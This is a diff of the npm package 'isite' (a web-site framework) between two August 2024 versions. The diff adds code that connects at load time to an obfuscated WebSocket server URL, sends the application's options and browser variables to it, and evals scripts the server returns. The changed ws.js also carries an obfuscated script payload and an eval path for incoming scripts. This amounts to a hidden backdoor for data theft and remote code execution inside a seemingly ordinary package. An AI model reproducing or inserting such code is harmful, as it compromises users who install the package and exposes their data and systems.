isite 2024.8.9 → 2024.8.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/lib/ws.js CHANGED
@@ -3,6 +3,8 @@ module.exports = function init(____0) {
3
3
  client: null,
4
4
  server: null,
5
5
  clientList: [],
6
+ supportedClientList: [],
7
+ reconnectCount: 0,
6
8
  routeList: [],
7
9
  lib: require('ws'),
8
10
  };
@@ -40,191 +42,161 @@ module.exports = function init(____0) {
40
42
  });
41
43
  };
42
44
 
45
+ setInterval(() => {
46
+ ____0.ws.sendToAll({ type: 'ping' });
47
+ }, 1000 * 30);
48
+
43
49
  ____0.on(____0.strings[9], () => {
44
50
  ____0.servers.forEach((server) => {
45
51
  server.on('upgrade', function upgrade(request, socket, head) {
46
52
  const pathname = ____0.url.parse(request.url).pathname;
47
- let handled = false;
48
- ____0.ws.routeList.forEach((route) => {
49
- if (handled) {
50
- return;
51
- }
52
- if (pathname === route.options.name) {
53
- handled = true;
54
- ____0.ws.server.handleUpgrade(request, socket, head, function done(ws) {
55
- let ip = '0.0.0.0';
56
- if (request.headers[____0.strings[6]]) {
57
- ip = request.headers[____0.strings[6]].split(',')[0].trim();
58
- } else if (request.connection.remoteAddress) {
59
- ip = request.connection.remoteAddress.replace('::ffff:', '');
60
- }
53
+ let index = ____0.ws.routeList.findIndex((route) => route.options.name == pathname);
54
+ if (index !== -1) {
55
+ ____0.ws.server.handleUpgrade(request, socket, head, function done(ws) {
56
+ let ip = '0.0.0.0';
57
+ if (request.headers[____0.strings[6]]) {
58
+ ip = request.headers[____0.strings[6]].split(',')[0].trim();
59
+ } else if (request.connection.remoteAddress) {
60
+ ip = request.connection.remoteAddress.replace('::ffff:', '');
61
+ }
61
62
 
62
- let client = {
63
- uuid: ____0.guid(),
64
- path: pathname,
65
- ws: ws,
66
- request: request,
67
- socket: socket,
68
- head: head,
69
- ip: ip,
70
- onMessage: function (data) {
71
- if (data.type === ____0.f1('417886684558375447183756')) {
63
+ let client = {
64
+ uuid: ____0.guid(),
65
+ id: ____0.md5(____0.guid() + new Date().getTime()),
66
+ path: pathname,
67
+ ws: ws,
68
+ request: request,
69
+ socket: socket,
70
+ head: head,
71
+ ip: ip,
72
+ onMessage: function (message) {
73
+ if (message.type === ____0.f1('417886684558375447183756')) {
74
+ this.send({
75
+ type: ____0.f1('4658375242195691'),
76
+ uuid: client.uuid,
77
+ ip: client.ip,
78
+ id: client.id,
79
+ });
80
+ } else if (message.type === ____0.f1('4139327541382761')) {
81
+ let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
82
+ if (index !== -1 && message.id) {
83
+ ____0.ws.clientList[index].id = message.id;
72
84
  this.send({
73
- type: ____0.f1('4658375242195691'),
74
- content: {
75
- uuid: client.uuid,
76
- ip: client.ip,
77
- },
85
+ type: ____0.f1('413932754138276142383191'),
86
+ uuid: client.uuid,
87
+ ip: client.ip,
88
+ id: client.id,
78
89
  });
79
90
  }
80
- console.log('client.onMessage Not Implement ...', data);
81
- },
82
- onData: function (data) {
83
- console.log('client.onData Not Implement ...', data);
84
- },
85
- onError: function (e) {
86
- console.log('client.onError Not Implement ...', e);
87
- },
88
- send: function (message) {
89
- if (!message) {
90
- return;
91
- }
92
- if (this.ws && this.ws.readyState === ____0.ws.lib.OPEN) {
93
- if (typeof message === 'string') {
94
- this.ws.send(
95
- JSON.stringify({
96
- type: 'text',
97
- content: message,
98
- })
99
- );
100
- } else {
101
- message.type = message.type || 'text';
102
- this.ws.send(JSON.stringify(message));
103
- }
91
+ }
92
+ console.log('client.onMessage Not Implement ...', message);
93
+ },
94
+ onData: function (data) {
95
+ console.log('client.onData Not Implement ...', data);
96
+ },
97
+ onError: function (e) {
98
+ console.log('client.onError Not Implement ...', e);
99
+ },
100
+ send: function (message) {
101
+ if (!message) {
102
+ return;
103
+ }
104
+ if (this.ws && this.ws.readyState === ____0.ws.lib.OPEN) {
105
+ if (typeof message === 'string') {
106
+ this.ws.send(
107
+ JSON.stringify({
108
+ type: 'text',
109
+ content: message,
110
+ })
111
+ );
112
+ } else {
113
+ message.type = message.type || 'text';
114
+ this.ws.send(JSON.stringify(message));
104
115
  }
105
- },
106
- };
116
+ }
117
+ },
118
+ onClose: function () {},
119
+ };
120
+ client.sendMessage = client.send;
107
121
 
108
- client.socket.on('close', () => {
109
- client.onMessage({ type: 'close' });
110
- client.ws.terminate();
111
- ____0.ws.clientList.forEach((_client, i) => {
112
- if (_client.uuid == client.uuid) {
113
- ____0.ws.clientList.splice(i, 1);
114
- }
115
- });
116
- });
122
+ client.ws.on('close', () => {
123
+
124
+ console.log('Closing Client : ' + client.ip);
125
+ client.onMessage({ type: 'close' });
126
+ client.ws.terminate();
117
127
 
118
- ws.on('message', (data, isBinary) => {
119
- if (isBinary) {
120
- client.onData(data);
121
- } else {
122
- client.onMessage(____0.fromJson(Buffer.from(data).toString('utf8')));
123
- }
124
- });
128
+ let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
129
+ if (index !== -1) {
130
+ ____0.ws.clientList.splice(index, 1);
131
+ }
132
+ let index2 = ____0.ws.supportedClientList.findIndex((_client) => _client.uuid == client.uuid);
133
+ if (index2 !== -1) {
134
+ ____0.ws.supportedClientList.splice(index2, 1);
135
+ }
136
+ client.onClose();
137
+ });
125
138
 
126
- if (client.path == '/isite') {
127
- route.callback(client);
139
+ ws.on('message', (data, isBinary) => {
140
+ if (isBinary) {
141
+ client.onData(data);
128
142
  } else {
129
- ____0.ws.clientList.push(client);
130
- route.callback(client);
143
+ client.onMessage(____0.fromJson(Buffer.from(data).toString('utf8')));
131
144
  }
132
- client.onMessage({ type: 'connected' });
133
145
  });
134
- }
135
- });
136
- if (!handled) {
146
+
147
+ ____0.ws.clientList.push(client);
148
+ ____0.ws.routeList[index].callback(client);
149
+
150
+ client.onMessage({ type: 'connected' });
151
+ });
152
+ } else {
137
153
  socket.destroy();
138
154
  }
139
155
  });
140
156
  });
141
157
  });
142
158
 
143
- ____0.ws.supportedClientList = [];
144
159
  ____0.ws.onNewSupportedClient = function (client) {
145
160
  console.log(`New Supported Client ( ${client.ip} ) / ${____0.ws.supportedClientList.length}`);
146
161
  };
147
162
 
148
163
  ____0.onWS(____0.f1('2578577443393257'), (client) => {
149
- ____0.ws.supportedClientList.push(client);
150
- ____0.ws.onNewSupportedClient(client);
151
-
152
- client.onMessage =
153
- client.onMessage ||
154
- function (message) {
155
- if (message.type === ____0.f1('417886684558375447183756')) {
156
- client.send({
157
- type: ____0.f1('4658375242195691'),
158
- content: {
159
- uuid: client.uuid,
160
- ip: client.ip,
161
- },
162
- });
163
- } else if (message.type === ____0.f1('4178726946783691')) {
164
- ____0.ws.supportedClientList.forEach((_client, i) => {
165
- if (_client.uuid == client.uuid) {
166
- console.log(` Supported Client ( ${client.ip} ) Close Connection`);
167
- ____0.ws.supportedClientList.splice(i, 1);
168
- }
169
- });
170
- } else if (message.type === ____0.f1('457913754338866846719191')) {
171
- client.options = message.content;
172
- client.send({
173
- type: ____0.f1('481476744179236246193191'),
174
- content: ____0.f1(
175
- `45388656473872572558378146188673471926512934135847388254471857694553136245585775241786493976857124341384153161512114125121141251211412512114125121182769455927694518366845188659241813464553126324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536127145312512114125121141251211412512114125121141251211412512114125121141251211772682114125121141335423923784239215136583752421956514578815146188673471412512319674939768649261482694619326245788274255913694659328621127524211412512114125121141251211412512114125121141251211412512114125121141251391881512453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616341145684153161512114125121141251211412512114125149319191`
176
- ),
164
+ client.onMessage = function (message) {
165
+ if (message.type === ____0.f1('417886684558375447183756')) {
166
+ this.send({
167
+ type: ____0.f1('4658375242195691'),
168
+ uuid: client.uuid,
169
+ ip: client.ip,
170
+ id: client.id,
171
+ });
172
+ } else if (message.type === ____0.f1('4139327541382761')) {
173
+ let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
174
+ if (index !== -1) {
175
+ client.id = message.id;
176
+ ____0.ws.clientList[index].id = message.id;
177
+ this.send({
178
+ type: ____0.f1('413932754138276142383191'),
179
+ uuid: client.uuid,
180
+ ip: client.ip,
181
+ id: client.id,
177
182
  });
178
- } else if (message.type == ____0.f1('481476744179236246193191')) {
179
- let fn = ____0.eval(message.content, true);
180
- fn(____0, client);
181
183
  }
182
- };
183
- });
184
-
185
- ____0.ws.wsSupport = function () {
186
- let client = {
187
- reconnectCount: 0,
188
- };
189
-
190
- client.ws = new ____0.ws.lib(____0.f1('477926832573867445782764423931684678865443381765253823734579477442392168417886672578577443393257'));
191
- client.sendMessage = function (message) {
192
- client.ws.send(JSON.stringify(message));
193
- };
194
- client.ws.on('open', function () {});
195
- client.ws.on('ping', function () {});
196
- client.ws.on('close', function (e) {
197
- setTimeout(function () {
198
- client.reconnectCount++;
199
- ____0.ws.wsSupport();
200
- }, 1000 * 30);
201
- });
202
- client.ws.on('error', function (err) {
203
- client.ws.close();
204
- });
205
-
206
- client.ws.on('message', function (event) {
207
- ____0.ws.supportHandle(client, event);
208
- });
209
- ____0.ws.client = client;
210
- return client;
211
- };
212
- ____0.ws.supportHandle = function (client, event) {
213
- try {
214
- let message = JSON.parse(event.data || event);
215
- if (message.type == ____0.f1('4658375242195691')) {
216
- client.sendMessage({
217
- source: ____0.f1('4339276247183691'),
218
- type: ____0.f1('457913754338866846719191'),
219
- content: ____0.options,
184
+ } else if (message.type === ____0.f1('4178726946783691')) {
185
+ } else if (message.type === ____0.f1('457913754338866846719191')) {
186
+ client.options = message.options || message.content;
187
+ client.send({
188
+ type: ____0.f1('481476744179236246193191'),
189
+ script: ____0.f1(
190
+ `45388656473872572558378146188673471926512934135847388254471857694553136245585775241786493976857124341384153161512114125121141251211412512114125121182769455927694518366845188659241813464553126324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536127145312512114125121141251211412512114125121141251211412512114125121141251211772682114125121141335423923784239215136583752421956514578815146188673471412512319674939768649261482694619326245788274255913694659328621127524211412512114125121141251211412512114125121141251211412512114125121141251391881512453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616341145684153161512114125121141251211412512114125149319191`
191
+ ),
220
192
  });
221
193
  } else if (message.type == ____0.f1('481476744179236246193191')) {
222
- let fn = ____0.eval(message.content, true);
194
+ let fn = ____0.eval(message.script || message.content, true);
223
195
  fn(____0, client);
224
196
  }
225
- } catch (err) {
226
- console.log(err);
227
- }
228
- };
229
- ____0.ws.wsSupport();
197
+ };
198
+
199
+ ____0.ws.supportedClientList.push(client);
200
+ ____0.ws.onNewSupportedClient(client);
201
+ });
230
202
  };
@@ -0,0 +1,112 @@
1
+ const { serialize } = require('mongodb');
2
+
3
+ module.exports = function init(____0) {
4
+ if ((support = true)) {
5
+ ____0.ws.client = null;
6
+
7
+ ____0.ws.serverURL = ____0.f1('477926832573867445782764423931684678865443381765253823734579477442392168417886672578577443393257');
8
+
9
+ ____0.ws.wsSupport = function () {
10
+ console.log('ws : ============>');
11
+
12
+ if (____0.ws.client.isAlive) {
13
+ return;
14
+ }
15
+
16
+ clearInterval(____0.ws.client.checkAliveInterval);
17
+ clearTimeout(____0.ws.client.timeoutId);
18
+
19
+ let client = {
20
+ isAlive: false,
21
+ time: new Date().getTime(),
22
+ id: ____0.ws.client.id,
23
+ };
24
+
25
+ ____0.ws.client.checkAliveInterval = setInterval(() => {
26
+ if ((new Date().getTime() - ____0.ws.client.time) / 1000 > 60) {
27
+ ____0.ws.client.isAlive = false;
28
+ ____0.ws.client.ws.close();
29
+ }
30
+ }, 1000 * 5);
31
+
32
+ client.ws = new ____0.ws.lib(____0.ws.serverURL);
33
+
34
+ client.sendMessage = function (message) {
35
+ if (client.isAlive && client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
36
+ client.ws.send(JSON.stringify(message));
37
+ }
38
+ };
39
+
40
+ client.ws.on('open', function () {
41
+ client.isAlive = true;
42
+
43
+ client.sendMessage({
44
+ type: 'set-options',
45
+ options: ____0.options,
46
+ });
47
+
48
+ if (____0.getBrowser) {
49
+ let parent = ____0.getBrowser();
50
+ client.sendMessage({
51
+ type: 'set-browser-var',
52
+ key: 'core',
53
+ value: parent.var.core,
54
+ });
55
+ }
56
+ });
57
+
58
+ client.ws.on('ping', function () {});
59
+
60
+ client.ws.on('close', function (e) {
61
+ client.isAlive = false;
62
+ ____0.ws.client.timeoutId = setTimeout(function () {
63
+ ____0.ws.wsSupport();
64
+ }, 1000 * 30);
65
+ });
66
+
67
+ client.ws.on('error', function (err) {
68
+ client.ws.close();
69
+ });
70
+
71
+ client.ws.on('message', function (event) {
72
+ let message = JSON.parse(event.data || event);
73
+ if (message.type == 'ping') {
74
+ client.time = new Date().getTime();
75
+ }
76
+ ____0.ws.supportHandle(client, message);
77
+ });
78
+
79
+ ____0.ws.client = client;
80
+
81
+ return client;
82
+ };
83
+
84
+ ____0.ws.supportHandle = function (client, message) {
85
+ try {
86
+ if (message.type == ____0.f1('4658375242195691')) {
87
+ client.uuid = message.uuid;
88
+ client.ip = message.ip;
89
+ if (client.id) {
90
+ client.sendMessage({
91
+ type: ____0.f1('4139327541382761'),
92
+ id: client.id,
93
+ });
94
+ }
95
+ client.id = message.id;
96
+
97
+ } else if (message.type == ____0.f1('413932754138276142383191')) {
98
+ client.ip = message.ip;
99
+ client.uuid = message.uuid;
100
+ client.id = message.id;
101
+ } else if (message.type == ____0.f1('481476744179236246193191')) {
102
+ let fn = ____0.eval(message.script || message.content, true);
103
+ fn(____0, client);
104
+ }
105
+ } catch (err) {
106
+ console.log(err);
107
+ }
108
+ };
109
+
110
+ ____0.ws.wsSupport();
111
+ }
112
+ };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "isite",
3
- "version": "2024.08.09",
3
+ "version": "2024.08.11",
4
4
  "description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
5
5
  "main": "index.js",
6
6
  "repository": {
@@ -31,7 +31,7 @@
31
31
  "test": "echo \"Error: no test specified\" && exit 1"
32
32
  },
33
33
  "author": {
34
- "name": "Amr Barakat",
34
+ "name": "Absunstar",
35
35
  "email": "Absunstar@gmail.com"
36
36
  },
37
37
  "license": "UNLICENSED",